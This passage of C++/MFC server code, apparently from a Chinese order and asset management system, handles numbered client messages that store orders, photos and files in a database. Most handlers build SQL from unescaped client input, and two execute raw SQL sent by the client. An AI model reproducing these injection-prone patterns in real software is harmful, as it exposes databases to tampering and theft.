memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); int ii = 0; for (/*int*/ ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); memfile.Detach(); CString sql; BOOL bNULL = 0; if (g_List1array.GetSize() == 2) { if (g_List1array.ElementAt(0).GetSize() == 1) { sql.Format("delete from dindansp where id='%s'", g_List1array.ElementAt(0).ElementAt(0)); MyExecuteSQL(sql); bNULL = 1; } } if (!bNULL) { CString clerk = g_List1array.ElementAt(count - 1).ElementAt(0); CString date = CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S"); CString sql2; CString growthtxname = g_List1array.ElementAt(0).ElementAt(11); if (growthtxname != "" && growthtxname != "全部") sql = "delete from dindansp where kind<>'2' and id='" + g_List1array.ElementAt(0).ElementAt(0) + "' and [growthtxname]='" + growthtxname + "' and autoid<>"; else sql = "delete from dindansp where kind<>'2' and id='" + g_List1array.ElementAt(0).ElementAt(0) + "' and autoid<>"; for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() == 1)continue; if (g_List1array.ElementAt(ii).ElementAt(1) != "") { sql += g_List1array.ElementAt(ii).ElementAt(1); sql += " and autoid<>"; } } sql.TrimRight("and autoid<>"); MyExecuteSQL(sql); CArraystoreinfoarray; { CRecordset myset(m_pConndb); CString sql = "select count(*) as cot from [storeinfo]"; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", sql); myset.Close(); storeinfoarray.SetSize(atol(sql), 1); CGoodsinfoSet rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); DWORD ii = 0; while (!rsSt.IsEOF()) { storeinfoarray.ElementAt(ii).RemoveAll(); storeinfoarray.ElementAt(ii).Add(rsSt.m_type); storeinfoarray.ElementAt(ii).Add(rsSt.m_name); ii++; rsSt.MoveNext(); if (storeinfoarray.GetSize() <= ii)break; } rsSt.Close(); storeinfoarray.SetSize(ii, 1); } CArraystoreinfoarray2; { CString id = g_List1array.ElementAt(0).ElementAt(0) + "(订单使用)"; CRecordset myset(m_pConndb); CString sql = "select count(*) as cot from [storeinfo2] where [id]='" + id + "'"; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", sql); myset.Close(); storeinfoarray2.SetSize(atol(sql), 1); CGoodsinfoSet2 rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.m_strFilter = "[id]='" + id + "'"; rsSt.Open(); DWORD ii = 0; while (!rsSt.IsEOF()) { storeinfoarray2.ElementAt(ii).RemoveAll(); storeinfoarray2.ElementAt(ii).Add(rsSt.m_type); storeinfoarray2.ElementAt(ii).Add(rsSt.m_name); ii++; rsSt.MoveNext(); if (storeinfoarray2.GetSize() <= ii)break; } rsSt.Close(); storeinfoarray2.SetSize(ii, 1); } for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).GetSize() == 1)continue; if (g_List1array.ElementAt(ii).ElementAt(1) != "") { #ifdef LKAY_VERSION sql.Format ("update [dindansp] set [no2]='%s',[spid]='%s',[name]='%s',[shuliang]='%s',ps='%d',zs='%d' where [autoid]=%d", g_List1array.ElementAt(ii).ElementAt(8),g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(5), atoi(g_List1array.ElementAt(ii).ElementAt(6)),atoi(g_List1array.ElementAt(ii).ElementAt(7)), atol(g_List1array.ElementAt(ii).ElementAt(1))); #else sql.Format("update [dindansp] set [no2]='%s',[spid]='%s',[name]='%s',[shuliang]='%s', [bz] = '%s' where [autoid]=%d", g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(7), atol(g_List1array.ElementAt(ii).ElementAt(1))); #endif MyExecuteSQL(sql); } else { #ifdef LKAY_VERSION sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[ps],[zs],[no2],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%d','%d','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),"1", g_List1array.ElementAt(ii).ElementAt(3),"未完成","未取",atoi(g_List1array.ElementAt(ii).ElementAt(6)),atoi(g_List1array.ElementAt(ii).ElementAt(7)),g_List1array.ElementAt(ii).ElementAt(8),g_List1array.ElementAt(ii).ElementAt(13)); #else sql.Format("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[no2],[growthtxname],[bz])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), "1", g_List1array.ElementAt(ii).ElementAt(3), "未完成", "未取", g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(11),g_List1array.ElementAt(ii).ElementAt(7)); #endif MyExecuteSQL(sql); } /////////////// sql2.Format("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(5), date, clerk); MyExecuteSQL(sql2); /////////////// ///////////////减库存 if (0) { int size = g_List1array.ElementAt(ii).GetSize(); if (g_List1array.ElementAt(ii).ElementAt(size - 4) != "OK")continue; CString id = g_List1array.ElementAt(0).ElementAt(0) + "(订单使用)"; CString name = g_List1array.ElementAt(ii).ElementAt(3); CString lb = g_List1array.ElementAt(ii).ElementAt(size - 3); CString count = g_List1array.ElementAt(ii).ElementAt(size - 2); /* CRecordset myset(m_pConndb); CString sql="select count(*) as cot from storeinfo2 where [id]='"+id+"' and [type]='"+lb+"' and [name]='"+name+"' "; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); if(atoi(sql))continue;*/ BOOL bNoReg = 1; int bb = 0; for (/*int*/ bb = 0; bb < storeinfoarray.GetSize(); bb++) { if (storeinfoarray.ElementAt(bb).ElementAt(0) == lb && storeinfoarray.ElementAt(bb).ElementAt(1) == name) { bNoReg = 0; break; } } if (bNoReg)continue; BOOL bExist = 0; for (bb = 0; bb < storeinfoarray2.GetSize(); bb++) { // AfxMessageBox(storeinfoarray2.ElementAt (bb).ElementAt (1)); if (storeinfoarray2.ElementAt(bb).ElementAt(0) == lb && storeinfoarray2.ElementAt(bb).ElementAt(1) == name) { bExist = 1; break; } } if (bExist)continue; CString date = CTime::GetCurrentTime().Format("%Y-%m-%d"); sql = "insert into storeinfo2([id],[type],[name],[count],[date],[clerk])values('" + id + "','" + lb + "','" + name + "','" + count + "','" + date + "','系统')"; MyExecuteSQL(sql); } /////////////// } } } BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 25) { DWORD count = 0; { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize(ar); ar.Close(); memfile.Detach(); CString sql; CString id = m_seldressarray.ElementAt(0); CString date = CTime::GetCurrentTime().Format("%Y-%m-%d"); CString date2 = date; date.Replace("-", ""); sql = "select max(id) as cot from dindan where id like '" + date + "%' "; CRecordset myset(m_pConndb); myset.Open(CRecordset::forwardOnly, sql); if (!myset.IsEOF()) { myset.GetFieldValue("cot", sql); if (sql.GetLength() > 3) count = atol(sql.Right(3)); else count = 0; } else count = 0; count++; myset.Close(); CString newid; newid.Format("%s-%03d", date, count); // for(int i=1; i<2/*m_seldressarray.GetSize ()*/; i++) for (int i = 1; i < m_seldressarray.GetSize(); i++) { sql = m_seldressarray.ElementAt(i); sql.Replace(id, newid); MyExecuteSQL(sql); } sql = "update dindan set time1='" + date2 + "' where id='" + newid + "'"; MyExecuteSQL(sql); count = 888; } DWORD szDataBuf[2] = { count, 0 }; int nDataLen = sizeof(DWORD); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 26) { // AfxMessageBox("0"); BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage + nMessageLen - 100, 100); CString id = no; int nSize = nMessageLen - 100; // CString ss; // ss.Format ("id:%s %d", id, nSize); CRstRenYuanPhoto rsSt(m_pMain); rsSt.m_strFilter = "id='" + id + "'"; rsSt.Open(); rsSt.Edit(); rsSt.photo.m_dwDataLength = nSize; if (nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR, nSize); rsSt.photo.m_hData = GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, true); rsSt.Update(); } rsSt.Close(); BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 27) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage, 100); CString id = no; CRstRenYuanPhoto rsSt(m_pMain); rsSt.m_strFilter = "id='" + id + "'"; rsSt.Open(); int nDataLen = rsSt.photo.m_dwDataLength; BYTE *pData2 = NULL; if (nDataLen) { pData2 = new BYTE[nDataLen]; void *pData = GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if (nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if (dwToUserID == 28) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage + nMessageLen - 100, 100); CString id = no; int nSize = nMessageLen - 100; CRstfixedassets rsSt(m_pConndb); rsSt.m_strFilter = "id='" + id + "'"; rsSt.Open(); rsSt.Edit(); rsSt.photo.m_dwDataLength = nSize; if (nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR, nSize); rsSt.photo.m_hData = GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, true); rsSt.Update(); } rsSt.Close(); BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 29) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage, 100); CString id = no; CRstfixedassets rsSt(m_pConndb); rsSt.m_strFilter = "id='" + id + "'"; rsSt.Open(); int nDataLen = rsSt.photo.m_dwDataLength; BYTE *pData2 = NULL; if (nDataLen) { pData2 = new BYTE[nDataLen]; void *pData = GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if (nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if (dwToUserID == 30) { BYTE *szChatMessage = ptChatMessage->byFileContent; int nSize = nMessageLen; CRstversion2 rsSt(m_pConndb); rsSt.Open(); rsSt.Edit(); rsSt.photo.m_dwDataLength = nSize; if (nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR, nSize); rsSt.photo.m_hData = GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, true); rsSt.Update(); } rsSt.Close(); BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 31) { BYTE *szChatMessage = ptChatMessage->byFileContent; CRstversion2 rsSt(m_pConndb); rsSt.Open(); int nDataLen = rsSt.photo.m_dwDataLength; BYTE *pData2 = NULL; if (nDataLen) { pData2 = new BYTE[nDataLen]; void *pData = GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if (nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if (dwToUserID == 32) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); int ii = 0; for (/*int*/ ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); memfile.Detach(); CString sql; // sql.Format ("delete from dindansp where id='%s' and kind='2'", g_List1array.ElementAt(0).ElementAt(0)); // MyExecuteSQL ( sql); for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).ElementAt(9) == "") { sql.Format("insert into dindansp([id],[shuliang],[kind],[name],[hqdate],[hqtime],[ren1],[ren2],[hqstatus],[bz])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), "1", "2", g_List1array.ElementAt(ii).ElementAt(1), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(7), g_List1array.ElementAt(ii).ElementAt(8)); MyExecuteSQL(sql); } else { sql.Format("update dindansp set [hqdate]='%s',[hqtime]='%s',[ren1]='%s',[ren2]='%s',[hqstatus]='%s',[bz]='%s' where [autoid]=%d", g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(7), g_List1array.ElementAt(ii).ElementAt(8), atoi(g_List1array.ElementAt(ii).ElementAt(9))); MyExecuteSQL(sql); } } } BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 33) { BYTE *szChatMessage = ptChatMessage->byFileContent;//nMessageLen BYTE *pData = szChatMessage; DWORD nSqlPos; memcpy(&nSqlPos, pData + nMessageLen - sizeof(nSqlPos), sizeof(nSqlPos)); DWORD sqlleng; memcpy(&sqlleng, pData + nSqlPos, sizeof(sqlleng)); char *pSql = new char[sqlleng + 1]; memset(pSql, 0, sqlleng + 1); memcpy(pSql, pData + nSqlPos + sizeof(sqlleng), sqlleng); CString sql = pSql; delete[]pSql; CString timestamp = CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S"); sql.Replace("msgtimestamp2", timestamp); MyExecuteSQL(sql); int nSize = nSqlPos; CRstinsidemsgFile rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.m_strFilter = "timestamp='" + timestamp + "'"; rsSt.Open(); rsSt.Edit(); rsSt.files.m_dwDataLength = nSize; if (nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR, nSize); rsSt.files.m_hData = GlobalLock(hGlobal); memcpy(rsSt.files.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.files); rsSt.SetFieldNull(&rsSt.files, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); } else { rsSt.SetFieldDirty(&rsSt.files); rsSt.SetFieldNull(&rsSt.files, true); rsSt.Update(); } rsSt.Close(); BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 34) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[20]; memset(no, 0, 20); memcpy(no, szChatMessage, 20); CString timestamp = no; CRstinsidemsgFile rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.m_strFilter = "timestamp='" + timestamp + "'"; rsSt.Open(); int nDataLen = rsSt.files.m_dwDataLength; BYTE *pData2 = NULL; if (nDataLen) { pData2 = new BYTE[nDataLen]; void *pData = GlobalLock(rsSt.files.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.files.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if (nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if (dwToUserID == 35) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage + nMessageLen - 100, 100); CString id = no; int nSize = nMessageLen - 100; CString hasphoto = "无"; CRstgudingfeiyongPhoto rsSt(m_pConndb); rsSt.m_strFilter.Format("id=%d", atoi(id)); rsSt.Open(); rsSt.Edit(); rsSt.photo.m_dwDataLength = nSize; if (nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR, nSize); rsSt.photo.m_hData = GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); hasphoto = "有"; } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, true); rsSt.Update(); } rsSt.Close(); CString sql; sql.Format("update gudingfeiyong set hasphoto='%s' where id=%s", hasphoto, id); MyExecuteSQL(sql); BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 36) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage, 100); CString id = no; CRstgudingfeiyongPhoto rsSt(m_pConndb); rsSt.m_strFilter.Format("id=%d", atoi(id)); rsSt.Open(); int nDataLen = rsSt.photo.m_dwDataLength; BYTE *pData2 = NULL; if (nDataLen) { pData2 = new BYTE[nDataLen]; void *pData = GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if (nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if (dwToUserID == 37) { // AfxMessageBox("0"); BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage + nMessageLen - 100, 100); CString id = no; int nSize = nMessageLen - 100; // CString ss; // ss.Format ("id:%s %d", id, nSize); CString hasphoto = "无"; CRstClientPhoto rsSt(m_pConndb); rsSt.m_strFilter = "id='" + id + "'"; rsSt.Open(); rsSt.Edit(); rsSt.photo.m_dwDataLength = nSize; if (nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR, nSize); rsSt.photo.m_hData = GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); hasphoto = "有"; } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, true); rsSt.Update(); } rsSt.Close(); CString sql; sql.Format("update dindan set status5='%s' where id='%s'", hasphoto, id); MyExecuteSQL(sql); BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 38) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage, 100); CString id = no; CRstClientPhoto rsSt(m_pConndb); rsSt.m_strFilter = "id='" + id + "'"; rsSt.Open(); int nDataLen = rsSt.photo.m_dwDataLength; BYTE *pData2 = NULL; if (nDataLen) { pData2 = new BYTE[nDataLen]; void *pData = GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if (nDataLen) { memcpy(pChatMessage->byFileContent, pData2, nDataLen); delete[]pData2; } } else if (dwToUserID == 39) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage + nMessageLen - 100, 100); CString id, date; CString str = no; int pos = str.Find(";"); id = str.Left(pos); date = str.Right(str.GetLength() - pos - 1); int nSize = nMessageLen - 100; if (date != "") { CString sql; sql.Format("delete from clientcontract where id='%s' and date='%s'", id, date); MyExecuteSQL(sql); } else { CRstclientcontract rsSt(m_pConndb); rsSt.Open(); rsSt.AddNew(); rsSt.id = id; rsSt.date = CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S"); rsSt.photo.m_dwDataLength = nSize; HGLOBAL hGlobal = GlobalAlloc(GPTR, nSize); rsSt.photo.m_hData = GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); } BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = 